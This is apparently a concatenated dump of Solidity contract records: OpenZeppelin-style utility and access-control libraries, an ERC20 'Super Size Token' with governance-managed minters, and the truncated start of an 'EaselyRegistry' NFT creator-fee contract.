* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
/**
* @notice Interface for AdminRole which wraps the default admin role from
* OpenZeppelin's AccessControl for easy integration.
*/
interface IAdminRole {
function isAdmin(address account) external view returns (bool);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
// solhint-disable
pragma solidity ^0.7.0;
interface IFNDNFTMarket {
function getFeeConfig()
external
view
returns (
uint256 primaryF8nFeeBasisPoints,
uint256 secondaryF8nFeeBasisPoints,
uint256 secondaryCreatorFeeBasisPoints
);
}
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|
/**
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e23, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract SuperSizeToken is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("Super Size Token", "SSTK", 18) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e2);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable {
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
interface IEaselyRegistry {
/**
* @dev Emitted when `CREATOR_ROLE` has registered a new creatorAddress with a BPS fee
*/
event CreatorRegistered(address creatorAddress);
/**
* @dev Emitted when `CREATOR_ROLE` or owner needs to pause all sales on our Marketplaces
*/
event CreatorPaused(address creatorAddress);
/**
* @dev Emitted when `CREATOR_ROLE` or owner wants to resume all sales on our Marketplaces
*/
event CreatorUnpaused(address creatorAddress);
/**
* @dev Calculates for a certain creator and payin amount, how much the creator receives.
* This value is always greater than 95% since the BPS fee cap is 500.
*
* Requirements:
* - Creator cannot be paused
*/
function calculateCreatorPayout(address creatorAddress, uint256 payin) external view returns (uint256);
/**
* @dev Returns if a creator is registered or has the default BPS fee.
*/
function isCreatorRegistered(address creatorAddress) external view returns (bool);
/**
* @dev Returns if a creator is paused on our marketplaces or not.
*/
function isCreatorPaused(address creatorAddress) external view returns (bool);
}
contract EaselyRegistry is AccessControlEnumerable, IEaselyRegistry {
// Creator struct which holds all the required info
struct Creator {
bool paused;
address creatorAddress;
uint256 easelyFeeBPS;
}
bytes32 public constant CREATOR_ROLE = keccak256("CREATOR_ROLE");
uint256 public DEFAULT_FEE_BPS = 500;
uint256 public MAX_EASELY_FEE_BPS = 500;
uint256 private BASIS_POINT_CONVERSION = 10_000;
mapping(address => Creator) private _addressToCreator;
constructor() {
